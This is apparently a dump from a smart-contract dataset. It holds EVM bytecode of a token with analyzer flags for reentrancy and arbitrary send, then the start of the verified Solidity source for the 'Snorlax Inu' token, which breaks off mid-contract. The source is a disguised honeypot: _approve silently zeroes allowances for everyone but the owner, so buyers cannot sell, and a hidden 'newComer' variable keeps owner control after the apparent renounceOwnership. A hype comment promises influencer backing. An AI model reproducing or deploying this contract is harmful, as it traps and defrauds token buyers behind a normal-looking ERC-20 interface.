001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611446565b61055b846104a6611273565b6105568560405180606001604052806028815260200161362c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611273565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe9092919063ffffffff16565b61127b565b600190509392505050565b61056e611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e7c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e7c565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611273565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b62565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5d565b9050919050565b6107dc611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f596f736869000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a611273565b8484611446565b6001905092915050565b6109b3611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e7c565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613232565b915050610a43565b5050565b610b03611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8790612e7c565b60405180910390fd5b60008111610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca90612e3c565b60405180910390fd5b806012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610c0b9190612f1c565b60405180910390a150565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c57611273565b73ffffffffffffffffffffffffffffffffffffffff1614610c7757600080fd5b6000610c8230610783565b9050610c8d81611ccb565b50565b610c98611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90612e7c565b60405180910390fd5b601160149054906101000a900460ff1615610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90612efc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e0530601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061127b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4b57600080fd5b505afa158015610e5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e83919061282c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d919061282c565b6040518363ffffffff1660e01b8152600401610f3a929190612ccc565b602060405180830381600087803b158015610f5457600080fd5b505af1158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c919061282c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061101530610783565b600080611020610927565b426040518863ffffffff1660e01b815260040161104296959493929190612d1e565b6060604051808303818588803b15801561105b57600080fd5b505af115801561106f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061109491906129d8565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550670de0b6b3a76400006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611196929190612cf5565b602060405180830381600087803b1580156111b057600080fd5b505af11580156111c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e89190612986565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612edc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612dfc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114399190612f1c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad90612ebc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151d90612dbc565b60405180910390fd5b60008111611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612e9c565b60405180910390fd5b6004600a819055506006600b81905550611581610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a3b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116985750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a157600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561174c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ba5750601160179054906101000a900460ff165b1561186a576012548111156117ce57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061181957600080fd5b605a426118269190613052565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119155750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561196b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611981576001600a819055506009600b819055505b600061198c30610783565b9050601160159054906101000a900460ff161580156119f95750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a115750601160169054906101000a900460ff165b15611a3957611a1f81611ccb565b60004790506000811115611a3757611a3647611b62565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ae25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611aec57600090505b611af884848484611fc5565b50505050565b6000838311158290611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d9190612d9a565b60405180910390fd5b5060008385611b559190613133565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bb2600284611ff290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bdd573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c2e600284611ff290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c59573d6000803e3d6000fd5b5050565b6000600854821115611ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9b90612ddc565b60405180910390fd5b6000611cae61203c565b9050611cc38184611ff290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d29577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d575781602001602082028036833780820191505090505b5090503081600081518110611d95577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3757600080fd5b505afa158015611e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6f919061282c565b81600181518110611ea9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461127b565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f74959493929190612f37565b600060405180830381600087803b158015611f8e57600080fd5b505af1158015611fa2573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611fd357611fd2612067565b5b611fde8484846120aa565b80611fec57611feb612275565b5b50505050565b600061203483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612289565b905092915050565b60008060006120496122ec565b915091506120608183611ff290919063ffffffff16565b9250505090565b6000600a5414801561207b57506000600b54145b15612085576120a8565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806120bc8761234e565b95509550955095509550955061211a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121fb8161245e565b612205848361251b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122629190612f1c565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080831182906122d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c79190612d9a565b60405180910390fd5b50600083856122df91906130a8565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612322683635c9adc5dea00000600854611ff290919063ffffffff16565b82101561234157600854683635c9adc5dea0000093509350505061234a565b81819350935050505b9091565b600080600080600080600080600061236b8a600a54600b54612555565b925092509250600061237b61203c565b9050600080600061238e8e8787876125eb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611afe565b905092915050565b600080828461240f9190613052565b905083811015612454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244b90612e1c565b60405180910390fd5b8091505092915050565b600061246861203c565b9050600061247f828461267490919063ffffffff16565b90506124d381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612530826008546123b690919063ffffffff16565b60088190555061254b8160095461240090919063ffffffff16565b6009819055505050565b6000806000806125816064612573888a61267490919063ffffffff16565b611ff290919063ffffffff16565b905060006125ab606461259d888b61267490919063ffffffff16565b611ff290919063ffffffff16565b905060006125d4826125c6858c6123b690919063ffffffff16565b6123b690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612604858961267490919063ffffffff16565b9050600061261b868961267490919063ffffffff16565b90506000612632878961267490919063ffffffff16565b9050600061265b8261264d85876123b690919063ffffffff16565b6123b690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561268757600090506126e9565b6000828461269591906130d9565b90508284826126a491906130a8565b146126e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126db90612e5c565b60405180910390fd5b809150505b92915050565b60006127026126fd84612fd1565b612fac565b9050808382526020820190508285602086028201111561272157600080fd5b60005b858110156127515781612737888261275b565b845260208401935060208301925050600181019050612724565b5050509392505050565b60008135905061276a816135e6565b92915050565b60008151905061277f816135e6565b92915050565b600082601f83011261279657600080fd5b81356127a68482602086016126ef565b91505092915050565b6000813590506127be816135fd565b92915050565b6000815190506127d3816135fd565b92915050565b6000813590506127e881613614565b92915050565b6000815190506127fd81613614565b92915050565b60006020828403121561281557600080fd5b60006128238482850161275b565b91505092915050565b60006020828403121561283e57600080fd5b600061284c84828501612770565b91505092915050565b6000806040838503121561286857600080fd5b60006128768582860161275b565b92505060206128878582860161275b565b9150509250929050565b6000806000606084860312156128a657600080fd5b60006128b48682870161275b565b93505060206128c58682870161275b565b92505060406128d6868287016127d9565b9150509250925092565b600080604083850312156128f357600080fd5b60006129018582860161275b565b9250506020612912858286016127d9565b9150509250929050565b60006020828403121561292e57600080fd5b600082013567ffffffffffffffff81111561294857600080fd5b61295484828501612785565b91505092915050565b60006020828403121561296f57600080fd5b600061297d848285016127af565b91505092915050565b60006020828403121561299857600080fd5b60006129a6848285016127c4565b91505092915050565b6000602082840312156129c157600080fd5b60006129cf848285016127d9565b91505092915050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016127ee565b9350506020612a0c868287016127ee565b9250506040612a1d868287016127ee565b9150509250925092565b6000612a338383612a3f565b60208301905092915050565b612a4881613167565b82525050565b612a5781613167565b82525050565b6000612a688261300d565b612a728185613030565b9350612a7d83612ffd565b8060005b83811015612aae578151612a958882612a27565b9750612aa083613023565b925050600181019050612a81565b5085935050505092915050565b612ac481613179565b82525050565b612ad3816131bc565b82525050565b6000612ae482613018565b612aee8185613041565b9350612afe8185602086016131ce565b612b0781613308565b840191505092915050565b6000612b1f602383613041565b9150612b2a82613319565b604082019050919050565b6000612b42602a83613041565b9150612b4d82613368565b604082019050919050565b6000612b65602283613041565b9150612b70826133b7565b604082019050919050565b6000612b88601b83613041565b9150612b9382613406565b602082019050919050565b6000612bab601d83613041565b9150612bb68261342f565b602082019050919050565b6000612bce602183613041565b9150612bd982613458565b604082019050919050565b6000612bf1602083613041565b9150612bfc826134a7565b602082019050919050565b6000612c14602983613041565b9150612c1f826134d0565b604082019050919050565b6000612c37602583613041565b9150612c428261351f565b604082019050919050565b6000612c5a602483613041565b9150612c658261356e565b604082019050919050565b6000612c7d601783613041565b9150612c88826135bd565b602082019050919050565b612c9c816131a5565b82525050565b612cab816131af565b82525050565b6000602082019050612cc66000830184612a4e565b92915050565b6000604082019050612ce16000830185612a4e565b612cee6020830184612a4e565b9392505050565b6000604082019050612d0a6000830185612a4e565b612d176020830184612c93565b9392505050565b600060c082019050612d336000830189612a4e565b612d406020830188612c93565b612d4d6040830187612aca565b612d5a6060830186612aca565b612d676080830185612a4e565b612d7460a0830184612c93565b979650505050505050565b6000602082019050612d946000830184612abb565b92915050565b60006020820190508181036000830152612db48184612ad9565b905092915050565b60006020820190508181036000830152612dd581612b12565b9050919050565b60006020820190508181036000830152612df581612b35565b9050919050565b60006020820190508181036000830152612e1581612b58565b9050919050565b60006020820190508181036000830152612e3581612b7b565b9050919050565b60006020820190508181036000830152612e5581612b9e565b9050919050565b60006020820190508181036000830152612e7581612bc1565b9050919050565b60006020820190508181036000830152612e9581612be4565b9050919050565b60006020820190508181036000830152612eb581612c07565b9050919050565b60006020820190508181036000830152612ed581612c2a565b9050919050565b60006020820190508181036000830152612ef581612c4d565b9050919050565b60006020820190508181036000830152612f1581612c70565b9050919050565b6000602082019050612f316000830184612c93565b92915050565b600060a082019050612f4c6000830188612c93565b612f596020830187612aca565b8181036040830152612f6b8186612a5d565b9050612f7a6060830185612a4e565b612f876080830184612c93565b9695505050505050565b6000602082019050612fa66000830184612ca2565b92915050565b6000612fb6612fc7565b9050612fc28282613201565b919050565b6000604051905090565b600067ffffffffffffffff821115612fec57612feb6132d9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061305d826131a5565b9150613068836131a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561309d5761309c61327b565b5b828201905092915050565b60006130b3826131a5565b91506130be836131a5565b9250826130ce576130cd6132aa565b5b828204905092915050565b60006130e4826131a5565b91506130ef836131a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131285761312761327b565b5b828202905092915050565b600061313e826131a5565b9150613149836131a5565b92508282101561315c5761315b61327b565b5b828203905092915050565b600061317282613185565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131c7826131a5565b9050919050565b60005b838110156131ec5780820151818401526020810190506131d1565b838111156131fb576000848401525b50505050565b61320a82613308565b810181811067ffffffffffffffff82111715613229576132286132d9565b5b80604052505050565b600061323d826131a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132705761326f61327b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135ef81613167565b81146135fa57600080fd5b50565b61360681613179565b811461361157600080fd5b50565b61361d816131a5565b811461362857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df4f6ea8b2dfa78e4cf003eaea870ab5c496539bbd6cf4926237d04598d630a264736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,114 |
0x5282f92bee59868c655472c301a6b0aa3104ca36
|
/**
*Submitted for verification at Etherscan.io on 2021-11-08
*/
/*
░██████╗███╗░░██╗░█████╗░██████╗░██╗░░░░░░█████╗░██╗░░██╗ ██╗███╗░░██╗██╗░░░██╗
██╔════╝████╗░██║██╔══██╗██╔══██╗██║░░░░░██╔══██╗╚██╗██╔╝ ██║████╗░██║██║░░░██║
╚█████╗░██╔██╗██║██║░░██║██████╔╝██║░░░░░███████║░╚███╔╝░ ██║██╔██╗██║██║░░░██║
░╚═══██╗██║╚████║██║░░██║██╔══██╗██║░░░░░██╔══██║░██╔██╗░ ██║██║╚████║██║░░░██║
██████╔╝██║░╚███║╚█████╔╝██║░░██║███████╗██║░░██║██╔╝╚██╗ ██║██║░╚███║╚██████╔╝
╚═════╝░╚═╝░░╚══╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝ ╚═╝╚═╝░░╚══╝░╚═════╝░
This new anime token is launching soon based on Snorlax from the anime Pokemon.
Got alpha that a good deal of big influencers are onboard to help with marketing so this one should be a winner.
Website : https://snorlaxinu.net/
Telegram : https://t.me/SNORLAXINUETH
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SNORLAXETH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = ' Snorlax Inu';
string private _symbol = 'SNORLAX ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
